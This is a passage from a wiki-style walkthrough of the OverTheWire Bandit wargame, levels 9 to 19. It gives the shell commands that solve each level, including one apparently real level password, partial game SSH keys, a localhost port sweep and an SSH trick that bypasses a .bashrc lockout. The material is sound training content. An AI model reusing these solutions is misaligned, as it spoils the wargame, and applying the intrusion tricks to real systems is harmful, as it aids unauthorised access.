= Bandit level 9 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit9.html&lt;br /&gt;
&lt;br /&gt;
In this level, you need to find a line that occurs only once in a file called &amp;lt;code&amp;gt;data.txt&amp;lt;/code&amp;gt;. Every other line in this file appears at least twice.&lt;br /&gt;
&lt;br /&gt;
Connect using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit8@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Use &amp;lt;code&amp;gt;sort&amp;lt;/code&amp;gt; piped into &amp;lt;code&amp;gt;uniq --unique&amp;lt;/code&amp;gt; to first sort the lines, exclude duplicate lines, and then only output the lines that appear exactly once.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sort &amp;lt; data.txt | uniq --unique&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This prints the password for the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-10&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 10 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit10.html&lt;br /&gt;
&lt;br /&gt;
This level wants you to use &amp;lt;code&amp;gt;grep&amp;lt;/code&amp;gt; to search for the password for the next level. The password is one of the only human-readable strings and is preceded by at least one &amp;lt;code&amp;gt;=&amp;lt;/code&amp;gt; character.&lt;br /&gt;
&lt;br /&gt;
Connect using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit9@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Use the &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; command to extract human-readable strings from a file. Pipe the result into &amp;lt;code&amp;gt;grep&amp;lt;/code&amp;gt; and only output lines that start with at least two &amp;lt;code&amp;gt;=&amp;lt;/code&amp;gt; characters. These two commands put together look like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;strings data.txt | grep -e &#039;^==&#039;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The output for this invocation looks like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;========== passwordk^&lt;br /&gt;
========== is&lt;br /&gt;
========== XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the password and use it in Bandit level 11.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-11&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 11 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit11.html&lt;br /&gt;
&lt;br /&gt;
This level gives you the password in a file called &amp;lt;code&amp;gt;data.txt&amp;lt;/code&amp;gt;. This file contains [https://en.wikipedia.org/wiki/Base64 Base64] encoded data that you have to decode to get the password.&lt;br /&gt;
&lt;br /&gt;
Connect using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit10@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Run the following command and observe the output:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;base64 -d data.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should see something like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;The password is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-12&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 12 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit12.html&lt;br /&gt;
&lt;br /&gt;
In this level, the file &amp;lt;code&amp;gt;data.txt&amp;lt;/code&amp;gt; contains a [https://en.wikipedia.org/wiki/ROT13 ROT13] encoded password. To continue to the next level, you have to find a way to decode this password.&lt;br /&gt;
&lt;br /&gt;
Connect using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit11@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
If you scroll down the Wikipedia article linked here, you can find the solution for decoding ROT13 with &amp;lt;code&amp;gt;tr&amp;lt;/code&amp;gt; [https://en.wikipedia.org/wiki/ROT13#tr here].&lt;br /&gt;
&lt;br /&gt;
Run the following &amp;lt;code&amp;gt;tr&amp;lt;/code&amp;gt; invocation to find the next level’s password:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;tr &#039;A-Za-z&#039; &#039;N-ZA-Mn-za-m&#039; &amp;lt; data.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should see the following output after running this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;The password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-13&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 13 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit13.html&lt;br /&gt;
&lt;br /&gt;
This level has you unpack, decode, or decompress a file 8 times to find the password. The order of operation from start to finish is:&lt;br /&gt;
&lt;br /&gt;
# Compress with &amp;lt;code&amp;gt;gzip&amp;lt;/code&amp;gt;&lt;br /&gt;
# Archive with &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt;&lt;br /&gt;
# Archive with &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; a second time&lt;br /&gt;
# Archive with &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; a third time&lt;br /&gt;
# Compress with &amp;lt;code&amp;gt;gzip&amp;lt;/code&amp;gt;&lt;br /&gt;
# Compress with &amp;lt;code&amp;gt;bzip2&amp;lt;/code&amp;gt;&lt;br /&gt;
# Compress with &amp;lt;code&amp;gt;gzip&amp;lt;/code&amp;gt;&lt;br /&gt;
# Convert to hex dump with &amp;lt;code&amp;gt;xxd&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When unpacking this file, you need to run these operations in reverse.&lt;br /&gt;
&lt;br /&gt;
Connect using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit12@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To convert the hex dump back into binary data, use &amp;lt;code&amp;gt;xxd -r&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;xxd -r &amp;lt; data.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This outputs binary data to your terminal and won’t immediately be useful. To see what format this binary output is, pipe the output of &amp;lt;code&amp;gt;xxd -r&amp;lt;/code&amp;gt; into &amp;lt;code&amp;gt;file -&amp;lt;/code&amp;gt; like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;xxd -r &amp;lt; data.txt | \&lt;br /&gt;
  file -&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This should print that it’s &amp;lt;code&amp;gt;gzip&amp;lt;/code&amp;gt; compressed data:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/dev/stdin: gzip compressed data, was &amp;amp;quot;data2.bin&amp;amp;quot;&lt;br /&gt;
last modified: Thu Oct  5 06:19:20 2023, max compression, from Unix&amp;lt;/pre&amp;gt;&lt;br /&gt;
Decompress this data using &amp;lt;code&amp;gt;zcat&amp;lt;/code&amp;gt; and check the output format like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;xxd -r &amp;lt; data.txt | \&lt;br /&gt;
  zcat | \&lt;br /&gt;
  file -&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This time &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; tells you that the data is &amp;lt;code&amp;gt;bzip2&amp;lt;/code&amp;gt; compressed:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/dev/stdin: bzip2 compressed data, block size = 900k&amp;lt;/pre&amp;gt;&lt;br /&gt;
Decompress this data using &amp;lt;code&amp;gt;bzip2 --decompress --force&amp;lt;/code&amp;gt; and output it to standard out with the &amp;lt;code&amp;gt;--stdout&amp;lt;/code&amp;gt; flag. This way, you can pipe the output into the next program. Inspect the contents again using &amp;lt;code&amp;gt;file -&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;xxd -r &amp;lt; data.txt | zcat | \&lt;br /&gt;
  bzip2 --decompress --force --stdout | file -&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; tells you that the output is a &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; archive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/dev/stdin: POSIX tar archive (GNU)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now, to unpack the contents, decompress the contents into a new temporary directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# change into temporary directory&lt;br /&gt;
cd $(mktemp -d)&lt;br /&gt;
# Will CD into something like this:&lt;br /&gt;
# /var/folders/k8/jnlz0xdn5jd48zttf3ktv7200000gn/T/tmp.0eOTs8AHV5&lt;br /&gt;
xxd -r &amp;lt; $HOME/data.txt | \&lt;br /&gt;
  zcat | \&lt;br /&gt;
  bzip2 --decompress --force --stdout | \&lt;br /&gt;
  zcat | \&lt;br /&gt;
  tar -xf -&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Now check the contents of each unpacked file using &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Still in the same temporary directory as above&lt;br /&gt;
file *&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; reports that there is one file &amp;lt;code&amp;gt;data5.bin&amp;lt;/code&amp;gt; containing another tar archive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;data5.bin: POSIX tar archive (GNU)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Unpack the archive using the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Unpack data5.bin into the current directory&lt;br /&gt;
tar xvf data5.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This unpacks a file called &amp;lt;code&amp;gt;data6.bin&amp;lt;/code&amp;gt;. This file is another &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; archive. Here’s how you can unpack &amp;lt;code&amp;gt;data6.bin&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Unpack data6.bin into the same directory&lt;br /&gt;
tar xvf data6.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The file &amp;lt;code&amp;gt;data6.bin&amp;lt;/code&amp;gt; contains a &amp;lt;code&amp;gt;gzip&amp;lt;/code&amp;gt; compressed file called &amp;lt;code&amp;gt;data8.bin&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
In total, you should now have three uncompressed files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;# Contents of current temporary directory&lt;br /&gt;
data5.bin  data6.bin  data8.bin&amp;lt;/pre&amp;gt;&lt;br /&gt;
Here’s what &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; reports when you run it on &amp;lt;code&amp;gt;data8.bin&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;data8.bin: gzip compressed data, was &amp;quot;data9.bin&amp;quot;, last modified: Thu Oct  5 06:19:20 2023, max compression, from Unix, original size modulo 2^32 49&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Print the contents of &amp;lt;code&amp;gt;data8.bin&amp;lt;/code&amp;gt; by using &amp;lt;code&amp;gt;zcat&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;zcat data8.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password contained in the file and use it in the next level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;The password is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-14&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 14 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit14.html&lt;br /&gt;
&lt;br /&gt;
This level gives you an SSH key that you can use to log into Bandit level 14. Connect to level 13 using SSH:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit13@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
After you connect, print out the SSH private key contained in &amp;lt;code&amp;gt;sshkey.private&amp;lt;/code&amp;gt; and store it on your own machine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat sshkey.private&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The SSH private key looks like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-----BEGIN RSA PRIVATE KEY-----&lt;br /&gt;
MIIEpAIBAAKCAQEAxkkOE83W2cOT7IWhFc9aPaaQmQDdgzuXCv+ppZHa++buSkN+&lt;br /&gt;
... rest left out&lt;br /&gt;
/+aLoRQ0yBDRbdXMsZN/jvY44eM+xRLdRVyMmdPtP8belRi2E2aEzA==&lt;br /&gt;
-----END RSA PRIVATE KEY-----&amp;lt;/pre&amp;gt;&lt;br /&gt;
Store the whole private key in a file called &amp;lt;code&amp;gt;level_14.key&amp;lt;/code&amp;gt; and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-15&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 15 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit15.html&lt;br /&gt;
&lt;br /&gt;
In this level, you need to send the current level’s password to a TCP server listening on port 30000 on the same machine. Where’s the current level’s password if the only thing you have is the SSH key? Passwords for each level are stored in &amp;lt;code&amp;gt;/etc/bandit_pass&amp;lt;/code&amp;gt;. Each password file for a level is only accessible by that levels’ account. For example, the user &amp;lt;code&amp;gt;bandit14&amp;lt;/code&amp;gt; can access the file &amp;lt;code&amp;gt;/etc/bandit_pass/bandit14&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; and give it the private key file &amp;lt;code&amp;gt;level_14.key&amp;lt;/code&amp;gt; from the last level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit14@bandit.labs.overthewire.org -p 2220 -i level_14.key&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
If SSH complains about the key at &amp;lt;code&amp;gt;level_14.key&amp;lt;/code&amp;gt; being world readable, run the following command to fix its permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;chmod 400 level_14.key&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
After you’ve connected, read out the password for &amp;lt;code&amp;gt;bandit14&amp;lt;/code&amp;gt; stored in &amp;lt;code&amp;gt;/etc/bandit_pass/bandit14&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Read out the password and note it&lt;br /&gt;
cat /etc/bandit_pass/bandit14&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Use &amp;lt;code&amp;gt;nc&amp;lt;/code&amp;gt; to pass the password to port 30000 on the same machine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#     Contents of `/etc/bandit_pass/bandit14`&lt;br /&gt;
#     v&lt;br /&gt;
echo &amp;quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot; | nc localhost 30000&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
When you run this command, the server on port 30000 gives you the password for the next level. Write it down and use it for the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-16&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 16 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit16.html&lt;br /&gt;
&lt;br /&gt;
To solve level 16, you need to forward the current level’s password to a server listening on the same machine. The difference to level 15 is that this time you need to connect to it using TLS encryption.&lt;br /&gt;
&lt;br /&gt;
Connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit15@bandit.labs.overthewire.org -p 2220 -i /dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The command that you can use to connect to a server using TLS encryption is called &amp;lt;code&amp;gt;openssl s_client&amp;lt;/code&amp;gt;. OpenSSL is full of useful tools for certificate related operations and features a TLS client called &amp;lt;code&amp;gt;s_client&amp;lt;/code&amp;gt; as well.&lt;br /&gt;
&lt;br /&gt;
Here’s the command that solves this level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#     Password from level 15&lt;br /&gt;
#     v&lt;br /&gt;
echo &amp;quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot; | \&lt;br /&gt;
  openssl s_client -quiet -connect localhost:30001&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
When you pass the &amp;lt;code&amp;gt;-quiet&amp;lt;/code&amp;gt; flag to &amp;lt;code&amp;gt;openssl s_client&amp;lt;/code&amp;gt;, it won’t print connection status or certificate information. This information is useful for debugging, but can be noisy when you just want to see the flag.&lt;br /&gt;
&lt;br /&gt;
After you run the preceding command, you should receive the password for the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-17&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 17 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit17.html&lt;br /&gt;
&lt;br /&gt;
To solve this level, you need to do 3 things:&lt;br /&gt;
&lt;br /&gt;
# Find which port on the current machine between 31000 and 32000 is open.&lt;br /&gt;
# Find out which of these open ports lets you connect with TLS.&lt;br /&gt;
# Connect to the right port and send the current level’s password and get the next level’s password.&lt;br /&gt;
&lt;br /&gt;
Connect to the current level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit16@bandit.labs.overthewire.org -p 2220 -i /dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
I admit that I’ve brute-forced this level. I tried all 1000 ports and directly connected with &amp;lt;code&amp;gt;openssl s_client&amp;lt;/code&amp;gt;. This script discards all error messages to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. The output is long and verbose. If you scroll through the output, you should eventually see the private key for the next level. Here’s the script that you can just paste and run in the SSH session:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;for i in $(seq 31000 32000); do&lt;br /&gt;
    echo &amp;quot;Trying port $i&amp;quot;&lt;br /&gt;
    #    Current level&#039;s password&lt;br /&gt;
    #     v&lt;br /&gt;
    echo &amp;quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot; | \&lt;br /&gt;
      openssl s_client -quiet -connect &amp;quot;localhost:$i&amp;quot; 2&amp;gt;/dev/null&lt;br /&gt;
done&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The OpenSSL invocation is the same as in the previous level and uses &amp;lt;code&amp;gt;-quiet&amp;lt;/code&amp;gt; again. This script pipes any error messages when OpenSSL fails to connect to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt; and thus discards them. The script runs for a while and at some point you should see the following output:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
Correct!&lt;br /&gt;
-----BEGIN RSA PRIVATE KEY-----&lt;br /&gt;
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ&lt;br /&gt;
...&lt;br /&gt;
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=&lt;br /&gt;
-----END RSA PRIVATE KEY-----&lt;br /&gt;
[...]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Save this private key in a file called &amp;lt;code&amp;gt;level_17.key&amp;lt;/code&amp;gt; and move on to the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-18&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 18 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit18.html&lt;br /&gt;
&lt;br /&gt;
In this level, you need to spot the difference between two files &amp;lt;code&amp;gt;passwords.old&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;passwords.new&amp;lt;/code&amp;gt;. Only one line has changed, and the changed line in &amp;lt;code&amp;gt;passwords.new&amp;lt;/code&amp;gt; is the password for the next level.&lt;br /&gt;
&lt;br /&gt;
Connect to &amp;lt;code&amp;gt;bandit17&amp;lt;/code&amp;gt; using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; with the private key &amp;lt;code&amp;gt;level_17.key&amp;lt;/code&amp;gt; from the last level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Fix key permissions if necessary&lt;br /&gt;
chmod 400 level_17.key&lt;br /&gt;
ssh bandit17@bandit.labs.overthewire.org -p 2220 -i level_17.key&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Use the &amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; command to print out the differences between &amp;lt;code&amp;gt;passwords.old&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;passwords.new&amp;lt;/code&amp;gt; like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;diff -u passwords.old passwords.new&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should see the following output. The line marked with a &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; character in the beginning tells you what the new line in &amp;lt;code&amp;gt;passwords.new&amp;lt;/code&amp;gt; is. The line with the &amp;lt;code&amp;gt;-&amp;lt;/code&amp;gt; character is the line in &amp;lt;code&amp;gt;passwords.old&amp;lt;/code&amp;gt; that someone has deleted.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;--- passwords.old       2024-07-17 15:57:13.545795226 +0000&lt;br /&gt;
+++ passwords.new       2024-07-17 15:57:13.549795225 +0000&lt;br /&gt;
@@ -XX,7 +XX,7 @@&lt;br /&gt;
 OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO&lt;br /&gt;
 OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO&lt;br /&gt;
 OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO&lt;br /&gt;
-OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO&lt;br /&gt;
+NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN&lt;br /&gt;
 OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO&lt;br /&gt;
 OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO&lt;br /&gt;
 OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO&amp;lt;/pre&amp;gt;&lt;br /&gt;
The password is obfuscated in this output. The line marked with the &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; character is the password for the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-19&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 19 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit19.html&lt;br /&gt;
&lt;br /&gt;
Messing with SSH to escape user shell configurations is a real method that penetration testers use.&lt;br /&gt;
&lt;br /&gt;
A recent vulnerability report, [https://www.cve.org/CVERecord?id=CVE-2024-47516 CVE-2024-47516] in Fedora Pagure shows this. [https://fenrisk.com/pagure Read the full report here]&lt;br /&gt;
&lt;br /&gt;
The authors identify weaknesses that when combined allow users to run arbitrary code when connecting to &amp;lt;code&amp;gt;git@gitinstance.com&amp;lt;/code&amp;gt; with an SSH client. This is a no-privilege, low-complexity, and network exploitable vulnerability with high CIA impact.&lt;br /&gt;
&lt;br /&gt;
In this level, you need to leverage a similar vulnerability and read out the &amp;lt;code&amp;gt;readme&amp;lt;/code&amp;gt; file in user &amp;lt;code&amp;gt;bandit18&amp;lt;/code&amp;gt;’s home directory. Directly connecting with &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; doesn’t work. The &amp;lt;code&amp;gt;.bashrc&amp;lt;/code&amp;gt; is set to automatically kick you out.&lt;br /&gt;
&lt;br /&gt;
To read out the &amp;lt;code&amp;gt;readme&amp;lt;/code&amp;gt; file, pass the command that you want to run directly to SSH. This is how to do it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit18@bandit.labs.overthewire.org -p 2220 \&lt;br /&gt;
  cat readme&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This is what you should see when it runs successfully, where &amp;lt;code&amp;gt;XXX...&amp;lt;/code&amp;gt; is the password for the next level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;                         _                     _ _ _&lt;br /&gt;
                        | |__   __ _ _ __   __| (_) |_&lt;br /&gt;
                        | &#039;_ \ / _` | &#039;_ \ / _` | | __|&lt;br /&gt;
                        | |_) | (_| | | | | (_| | | |_&lt;br /&gt;
                        |_.__/ \__,_|_| |_|\__,_|_|\__|&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                      This is an OverTheWire game server.&lt;br /&gt;
            More information on http://www.overthewire.org/wargames&lt;br /&gt;
&lt;br /&gt;
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-20&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 20 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit20.html&lt;br /&gt;
&lt;br /&gt;
